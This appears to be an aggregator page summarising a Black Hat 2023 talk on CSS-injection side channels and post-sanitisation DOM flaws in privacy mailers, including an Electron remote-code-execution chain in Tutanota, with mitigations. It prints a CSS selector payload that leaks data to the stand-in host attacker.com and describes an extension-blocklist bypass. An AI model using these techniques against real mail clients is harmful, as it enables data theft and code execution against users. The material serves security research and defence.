Kuboid
Open Luck·Kuboid.in
Black Hat2023
Open in YouTube ↗

Stealing with Style: Using CSS to Exploit Proton Mail and Friends

Black Hat3,803 views39:38over 2 years ago

This talk demonstrates how CSS-based side-channel attacks and DOM-based vulnerabilities can be used to bypass security controls in privacy-oriented web mailers. The researcher details techniques for leaking sensitive data and achieving remote code execution by exploiting the way web applications sanitize and re-parse HTML content. The presentation highlights the risks of modifying sanitized DOM structures and provides practical examples of how these vulnerabilities can be chained to compromise client-side security. The research emphasizes the importance of secure DOM handling and the potential for CSS to be leveraged for malicious data exfiltration.

Stealing Data and Achieving RCE via CSS Injection in Privacy-Focused Mailers

TLDR: This research demonstrates how privacy-oriented web mailers like Proton Mail, Skiff, and Tutanota can be compromised through CSS-based side-channel attacks and DOM-based vulnerabilities. By exploiting the way these applications sanitize and re-parse HTML, an attacker can exfiltrate sensitive data or achieve remote code execution on desktop clients. Security researchers and developers should prioritize strict DOM handling and avoid modifying sanitized HTML structures to prevent these bypasses.

Privacy-oriented web mailers market themselves on the promise of end-to-end encryption and secure handling of user data. However, the complexity of rendering arbitrary HTML within these applications creates a massive attack surface. When an application attempts to sanitize user-provided HTML, it often introduces subtle logic flaws that can be chained into full-blown exploits. This research, presented at Black Hat 2023, proves that even with robust security measures like Content Security Policy (CSP) and DOMPurify, developers can inadvertently create vulnerabilities by modifying the DOM after sanitization.

The Mechanics of the CSS Injection Attack

The core of this research lies in the realization that sanitization is not a one-time event. If an application sanitizes a string of HTML and then performs subsequent DOM manipulations, it risks re-introducing dangerous elements. In the case of Proton Mail, the application used DOMPurify to clean the input but then performed a secondary pass to rename svg tags to proton-svg.

This secondary pass is where the vulnerability resides. By injecting a payload that looks benign to the initial sanitizer, an attacker can trigger different parsing rules once the tag is renamed. Specifically, the browser treats content inside an svg tag differently than content inside a standard div or span. By manipulating the tag name, the attacker forces the browser to re-parse the inner HTML, potentially breaking out of the intended structure and executing arbitrary JavaScript.

The attack flow relies on DOM Clobbering and CSS attribute selectors to leak data. An attacker can inject CSS that targets specific attributes of an image tag. For example, using the following CSS, an attacker can detect if an attribute contains a specific string:

img[src*="ab"] {
    background-image: url(//attacker.com/ab);
}

When the browser renders the page, it attempts to load the background image for any img tag whose src attribute contains the string "ab". This triggers a network request to the attacker's server, effectively leaking the presence of that string. By iterating through all possible character combinations, an attacker can reconstruct sensitive data, such as a user's unique identifier or a blob URL, one character at a time.

From XSS to Remote Code Execution

While cross-site scripting (XSS) is a significant risk in a web context, the impact is amplified in desktop applications built with Electron. Tutanota’s desktop client, which is essentially an Electron wrapper, was found to be vulnerable to remote code execution (RCE) because it failed to properly restrict file system access.

The exploit chain begins with the same CSS-based data exfiltration technique to identify the location of temporary files. Once the attacker knows the path where the application stores decrypted attachments—typically in a predictable location like %TEMP%\tutanota\decrypted\—they can craft a malicious attachment.

The final step involves bypassing the application's blocklist. The developers used path.extname() to check file extensions against a list of forbidden types like .exe or .bat. However, this function returns an empty string for files without an extension, such as a file named simply foo. Because an empty string is not in the blocklist, the application allows the file to be opened. On Windows, the application then uses ShellExecuteW to open the file, which triggers the operating system to execute the binary. This effectively turns a file-handling feature into an RCE vector.

Practical Implications for Pentesters

During a penetration test or bug bounty engagement, these techniques highlight the danger of "sanitization-plus-modification" patterns. If you encounter an application that performs client-side HTML sanitization, look for secondary DOM manipulation logic. Any code that iterates over the DOM to rename tags, inject new elements, or modify attributes after the initial sanitization pass is a prime candidate for exploitation.

When testing Electron-based applications, always investigate the Inter-Process Communication (IPC) layer. Look for functions that handle file operations, such as writeFile or open. If the application allows users to save or open attachments, check how it validates those files. Are there blocklists in place? Can those blocklists be bypassed using edge cases in path parsing or file naming conventions?

Strengthening Defenses

Defending against these attacks requires a shift in how developers handle user-provided HTML. The most effective mitigation is to treat the output of a sanitizer as immutable. If you must modify the DOM, do so before the final rendering pass or use a strictly defined, non-executable template system.

Furthermore, ensure that your CSP is as restrictive as possible. Avoid unsafe-inline and unsafe-eval whenever feasible, as these directives are often the final piece of the puzzle for an attacker trying to turn a minor injection into a full compromise. For desktop applications, leverage the Electron security best practices to enforce context isolation and disable Node.js integration in renderer processes.

The takeaway for any security professional is clear: sanitization is not a silver bullet. It is a single layer in a defense-in-depth strategy. When you see developers relying on custom parsers or post-sanitization logic, you are likely looking at a potential exploit chain waiting to be discovered.

Talk Type
research presentation
Difficulty
advanced
Category
web security
Has Demo Has Code Tool Released


Black Hat Asia 2023

45 talks · 2023
Browse conference →
Premium Security Audit

We break your app before they do.

Professional penetration testing and vulnerability assessments by the Kuboid Secure Layer team. Securing your infrastructure at every layer.

Get in Touch
Official Security Partner
kuboid.in